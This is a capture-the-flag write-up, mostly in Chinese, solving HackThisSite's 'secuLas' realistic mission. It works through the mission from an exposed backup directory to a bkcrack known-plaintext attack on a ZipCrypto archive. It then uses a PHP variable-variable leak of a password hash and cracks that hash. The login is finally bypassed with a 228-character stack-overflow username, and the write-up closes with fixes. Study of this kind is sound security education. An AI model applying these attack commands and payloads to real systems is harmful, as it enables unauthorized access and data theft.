Challenge
secuLas Ltd. is an industry leader in defense and special mission
lasers. Somewhere behind the glossy corporate site there is a leaked
backup and an internal area; get access to the "latest patents and
developments" section and prove the credentials can be bypassed.
secuLas Ltd.
是一家国防/特种激光承包商。光鲜的企业站背后泄露了一份备份文件,内部管理区里有一个"最新专利与进展"查看器。目标是进入该区域,证明它的凭据校验可被绕过。
入口 /missions/realistic/15/
是静态企业站(index.htm,4423 字节),导航只有
products.php / questions.php /
imprint.php /
jobs.php。全部页面源码里都没写链接,真正的突破点是站点根目录下一个没被引用的备份目录。
Solution
Recon :
遍历所有页面源码,views
里找不到任何登录入口,但把常见目录名拼上去试的时候
/_backups_/ 返回 200 并列出 backup.zip ——
目录列表没关。
backup.zip 里的条目是 ZipCrypto(传统 PKZIP)加密的,但
ZIP 目录表可读,条目名和压缩后大小都暴露。其中
misc (files from different folders)/index.htm
正好是站点首页同名文件,可以拿去当已知明文。
解出备份里的 shell.php / msgauth.php
源码后,所有漏洞都在源码里明摆着。
Step 1: 拿到泄露的备份
1 2 3 4 5 6 7 $ curl -s -o /dev/null -b "HackThisSite=<mission-cookie>" \ -w "%{http_code} %{size_download}B\n" \ "https://www.hackthissite.org/missions/realistic/15/_backups_/" 200 1138B $ curl -s -O -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/15/_backups_/backup.zip"
(对照:把 _backups_ 换成 backup.zip
直连站点根目录返回 404,说明文件只在那个未引用的目录里。)
1 2 3 4 5 6 7 8 9 $ unzip -v backup.zip Length Method Size Cmpr Date Time CRC-32 Name 0 Stored 0 0% 2004-12-09 04:55 00000000 internal_messages/ 336 Defl:N 212 37% 2004-12-09 04:44 19438da1 internal_messages/msgshow.php 965 Defl:N 399 59% 2004-12-11 23:02 daaac094 internal_messages/msgauth.php 0 Stored 0 0% 2004-12-06 01:51 00000000 misc (files from different folders)/ 4423 Defl:N 1245 72% 2004-12-05 01:41 2fc997cc misc (files from different folders)/index.htm 16860 Defl:N 6010 64% 2004-12-06 01:51 5f67992e misc (files from different folders)/shell.php 22584 7866 65% 6 files
Step 2: 已知明文攻击 (bkcrack)
ZipCrypto
的已知明文攻击只需要一段未加密的原文和它在密文里的对应关系。站点上的
index.htm
就是备份里那个同名文件,下载下来压缩,凑出和密文条目逐字节一致 的
deflate 流即可。
1 2 3 4 $ curl -s -o index.htm -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/15/index.htm" $ ls -l index.htm -rw-r--r-- 1 kita kita 4423 ... index.htm
备份里该条目的压缩后大小是 1245 字节。逐一试 deflate 级别,级别 6
命中最接近的 1245 字节(plain6.zip),压缩流 CRC
与备份一致(2fc997cc):
1 2 3 4 $ zip -6 plain6.zip index.htm $ unzip -v plain6.zip Length Method Size Cmpr Date Time CRC-32 Name 4423 Defl:N 1245 72% 2026-09-11 15:36 2fc997cc index.htm
用 bkcrack 做攻击(-C
密文归档、-c 密文条目、-P
明文归档、-p 明文条目):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ ./tools/bkcrack-1.8.1-Linux-x86_64/bkcrack \ -C backup.zip \ -c 'misc (files from different folders)/index.htm' \ -P plain6.zip \ -p index.htm \ -o 0 bkcrack 1.8.1 - 2025-10-25 [15:36:06] Z reduction using 1238 bytes of known plaintext 0.0 % (0 / 1238) ... 100.0 % (1238 / 1238) [15:36:06] Attack on 7443 Z values at index 43 0.4 % (27 / 7443) ... 70.4 % (5238 / 7443) Keys: f23a33d0 106331c0 6fd03c13 [15:36:06] Keys f23a33d0 106331c0 6fd03c13
拿到三组内部 key f23a33d0 106331c0 6fd03c13。用
-D 生成整包解密 的新归档(注意不是
-d,-d
只解密单个条目的数据流,写不出可解压的归档):
1 2 3 4 5 6 7 8 9 10 11 12 $ ./tools/bkcrack-1.8.1-Linux-x86_64/bkcrack \ -C backup.zip -k f23a33d0 106331c0 6fd03c13 -D decrypted.zip bkcrack 1.8.1 - 2025-10-25 [15:36:16] Writing decrypted archive data/decrypted.zip 100.0 % (6 / 6) $ unzip -o decrypted.zip -d decrypted $ find decrypted -type f decrypted/internal_messages/msgshow.php decrypted/internal_messages/msgauth.php decrypted/misc (files from different folders)/index.htm decrypted/misc (files from different folders)/shell.php
Step 3: 源码分析 ——
msgauth.php 与 shell.php
internal_messages
目录里的两个文件构成一套内部留言认证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php session_start ();if ($_SESSION ['msgauth' ][$msg_username ] != "OK" ){ if (strlen ($msg_username )==0 || strlen ($msg_password )==0 || strlen ($filename )==0 ) die (); $msg_password = addcslashes ($msg_password , ".[(*$^+\|" ); $msg_username = addcslashes ($msg_username , ".[(*$^+\|" ); $fp = @fopen ("files/" . $filename , "r" ); if (!$fp ) die (); while (!feof ($fp ) && $_SESSION ['msgauth' ][$msg_username ] != "OK" ) { $strLine = fgets ($fp ,200 ); if (ereg ($msg_username . ": " . $msg_password . "\r*\n*$" , $strLine , $regs )) $_SESSION ['msgauth' ][$msg_username ] = "OK" ; } fclose ($fp ); if ($_SESSION ['msgauth' ][$msg_username ] != "OK" ) die ("wrong username/password!" ); } ?>
两个问题:$filename 直接拼进
fopen("files/" . $filename) ——
路径穿越 ,可以读站点任意文件;同时凭据比对用的是
ereg()(用户输入当正则,只转义了
.[(*$^+\|,? { }
等元字符没转义),既是正则注入 又是子串匹配 ,只要目标文件里存在一行能被模式命中的文本就能通过。设计意图是让攻击者把
$filename 指到页面自身的 meta 标签。
shell.php(MyShell,seculas 版)的认证相关部分(两个
$shellPswd_* 在备份里已被打码):
1 2 3 4 5 $selfSecure = 1 ;$shellUser_root = "root" ;$shellPswd_root = "********************************" ; $shellUser_others = "others" ;$shellPswd_others = "********************************" ;
校验段与 401 分支:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $MyShellVersion = "MyShell 1.1.0 build 20010923 " .$$PHP_AUTH_USER ;if ($selfSecure ){ if (!(($PHP_AUTH_USER ==$shellUser_root && md5 (md5 ($PHP_AUTH_PW ))==$shellPswd_root ) || ($PHP_AUTH_USER ==$shellUser_others && md5 (md5 ($PHP_AUTH_PW ))==$shellPswd_others ) )) { Header ('WWW-Authenticate: Basic realm="MyShell' ); Header ('HTTP/1.0 401 Unauthorized' ); echo "<html> <head> <title>$MyShellVersion </title> </head> <h1>Access denied</h1> a warning message with your user agent string<br><b>" . $HTTP_SERVER_VARS ["HTTP_USER_AGENT" ] . "</b><br> has been sent to the administrator <hr> <em>modified $MyShellVersion </em>" ; } }
两点很关键:
密码用双重 MD5 存储:md5(md5($PHP_AUTH_PW))。
".... ".$$PHP_AUTH_USER ——
这是一个变量变量 (variable
variable)。$$PHP_AUTH_USER 取的是名字等于
$PHP_AUTH_USER 值的那个变量。而
$MyShellVersion 在认证失败时会被回显到 401
页面上。所以只要用一个变量名 当用户名去认证,服务器就会把那个变量的值打印出来。
用用户名 shellPswd_root 发一次注定失败的 Basic
请求:
1 2 3 4 5 $ curl -s -u 'shellPswd_root:wrongpass' -b "HackThisSite=<mission-cookie>" \ -e "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" \ -o /dev/null -w "%{http_code}\n" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" 401
响应体:
1 2 3 4 5 6 <title > MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</title > </head > <h1 > Access denied</h1 > a warning message with your user agent string<br /> <b > < ua> </b > <br /> has been sent to the administrator <hr > <em > modified MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</em >
root 的双重 MD5 哈希 9e71fc2a99a71b722ead746b776b25ac
就这样漏了出来。反推:
1 2 3 4 5 6 7 8 import hashlibtarget = "9e71fc2a99a71b722ead746b776b25ac" h1 = hashlib.md5(b"foobar" ).hexdigest() h2 = hashlib.md5(h1.encode()).hexdigest() print (h1)print (h2)print ("match:" , h2 == target)
1 2 3 3858f62230ac3c915f300c664312c63f 9e71fc2a99a71b722ead746b776b25ac match: True
明文是 foobar。
Step 4: 登入 MyShell 并枚举
admin_area/
目录本身开启目录保护,/admin_area/ 直接访问返回
Forbidden;shell.php 走独立的 HTTP Basic
认证,还需要一个本站 Referer,否则返回
Invalid Referer。
1 2 3 4 5 6 $ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \ -e "https://www.hackthissite.org/missions/realistic/15/" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" \ | grep -o "MyShell 1.1.0 build 20010923\|Current User: <a[^>]*>[^<]*" MyShell 1.1.0 build 20010923 Current User: <a href="#" >wwwrun
运行身份 wwwrun,初始 cwd
/srv/www/htdocs/admin_area/。这个 MyShell
是个被裁剪过的版本:只放行
ls ,且参数必须以 - 开头(纯
flag)。带别的东西一律回
Heh I can't really let you mess around with my server!。
1 2 3 4 5 6 7 8 9 10 11 $ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \ -e ".../admin_area/shell.php" --data-urlencode "command=ls -la" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" drwxr-xr-x 2 root root 4096 Dec 4 20:23 . drwxr-xr-x 2 root root 4096 Dec 4 21:23 .. drwxr-xr-x 2 root root 4096 Dec 3 17:14 helpdesk drwxr-xr-x 2 root root 4096 Dec 4 20:32 mypr0n -r-xr-xr-x 1 root users 6491 Dec 4 20:01 shell.php drwxr-xr-x 2 root root 4096 Dec 4 21:23 test -r-xr-xr-x 1 root users 1608 Dec 3 12:19 viewpatents.php -rw-r--r-- 1 root root 390 Dec 4 21:21 viewpatents2.php
对照测试确认了这条过滤器规则 ——
ls、ls -l、ls -a、ls -la
通过;ls /、ls .、ls -la test、pwd、echo hi、cat viewpatents2.php、more ...、head ...、uname -a
全部被拒:
1 2 3 4 5 6 [ls ] helpdesk/ mypr0n/ shell.php test/ viewpatents.php viewpatents2.php [ls -la ] <完整长列表,见上> [pwd ] Heh \n I can't really let you mess around with my server! [ls / ] Heh \n I can't really let you mess around with my server! [ls -la test] Heh \n I can't really let you mess around with my server! [cat viewpatents2.php] Heh \n I can't really let you mess around with my server!
shell 只能列目录,读不到文件内容。目标落到
viewpatents.php ——
这几十字节的文件名恰好就是"专利查看"入口。它也直接暴露在
admin_area/ 下,且不 受 Basic 保护:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php" <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" > <html> <head > <title>latest patents and developments</title> </head> <body> <b><u><div style="text-align:center" ;> View latest patents and developments </div></u></b> <form action="viewpatents2.php" method="post" > <table border="0" cellpadding="0" cellspacing="0" width="80%" align="center" > <tbody> <tr > <td style="width:45%; text-align:right" >Username: </td> <td><input name="username" value="" type ="text" ></td> </tr> <tr > <td style="text-align:right" ;>Password: </td> <td><input name="password" value="" type ="text" ></td> </tr> </tbody> </table> </form>
Step 5: 下载校验器源码
test/ 里有一个可直连下载的校验器源码包
/admin_area/test/chkuserpass.c.zip:
1 2 3 $ curl -s -b "HackThisSite=<mission-cookie>" -o chkuserpass.c.zip \ "https://www.hackthissite.org/missions/realistic/15/admin_area/test/chkuserpass.c.zip" $ unzip -o chkuserpass.c.zip
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 char checkit (char * username, char * password, char * hash) { char is_pass_correct = 'N' ; char *fillstring = "_T*4$n" ; char concatenated[200 ]; strcpy (concatenated, username); if (strlen (password) < 4 ) strcat (concatenated, fillstring); strcat (concatenated, password); if (strcmp (mymd5(concatenated), hash) == 0 ) is_pass_correct = 'Y' ; return is_pass_correct;}
漏洞在
strcpy(concatenated, username):concatenated
只有 200 字节,username
完全由请求方控制,没有任何长度检查。栈上 is_pass_correct
就挨着这块缓冲区,一个超过缓冲区长度的 username
会溢出并覆盖它 —— 而 is_pass_correct 只要不等于
'N' 就会被当成"通过"(返回给上层做判断)。用等长的
Y(0x59)填满到该变量即可把它改成 'Y'。
Step 6: 228 个大写 Y 触发溢出
viewpatents2.php 直接把表单的 username 送进
chkuserpass。提交 228 个大写 Y,密码留空:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ PAYLOAD=$(python3 -c "print('Y'*228)" ) $ echo -n "$PAYLOAD " | wc -c 228 $ curl -s -i -b "HackThisSite=<mission-cookie>" -A "<ua>" \ -e "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php" \ --data-urlencode "username=$PAYLOAD " --data "password=" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents2.php" HTTP/2 200 content-type: text/html content-language: en server: HackThisSite <center><div style="width:80%" ><div class="dark-td" ><h2>Congrats</h2></div> <div class="light-td" >Good Job, ***, You have successfully completed Mission 15<br /></div></div></center>
服务端直接返回里程碑页。
普通短用户名则被正常拒绝:
1 2 3 4 $ curl -s -b "HackThisSite=<mission-cookie>" \ --data "username=admin" --data "password=test" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents2.php" Access denied! <br />Your IP and useragent were logged!<br />
Access denied! 是凭据错误的正常分支;228 个
Y 走的是溢出分支,说明 is_pass_correct
被成功覆盖成 'Y',凭据校验被绕过,Mission 15 完成。
Vulnerabilities
未引用的公开目录 +
目录列表 :/_backups_/
没有被任何页面引用,却开着目录索引,直接泄露
backup.zip。备份本身把应用源码、认证逻辑和配置常量一起打包带走。
ZipCrypto 已知明文恢复 :传统 PKZIP
加密对已知明文毫无抵抗力。归档里只要有一个文件能在站上拿到明文(index.htm),就能恢复三组
key 并整包解密。
变量变量泄露敏感常量 :$MyShellVersion = ".... ".$$PHP_AUTH_USER;
把用户可控的"变量名"当变量去取值,并在 401 错误页回显,于是
shellPswd_root(root
密码哈希)被直接打印。md5(md5())
存储也挡不住这种泄露。
凭据比对用 ereg() +
用户可控文件名 :msgauth.php
把用户输入当正则、"files/" 前缀后又允许 ../
穿越,既能读任意文件又能用正则/子串匹配绕过比对。
栈缓冲区溢出 :chkuserpass.c 里
strcpy(concatenated, username) 对 200
字节缓冲无边界检查,可覆盖栈上相邻的 is_pass_correct
布尔标记,从而在校验未通过的情况下返回 'Y'。
被裁剪的 shell 不是安全边界 :MyShell 只放行
ls
属于"限制命令"而非"消除权限",只要还有一个可写入口(viewpatents2.php)能触达有漏洞的原生程序,限制
shell 就形同虚设。
修复方向:备份目录移出 Web 根、关闭目录索引;不要用 ZIP
传统加密存放源码,改用发布产物 +
强加密;认证比较用常量时间函数并在校验前完成,绝不把内部常量通过变量插值回显;文件读取用固定资源
id 映射,禁止把用户输入当路径或正则;原生校验程序用
strncpy/长度检查并独立存布尔结果,别让缓冲区与结果相邻。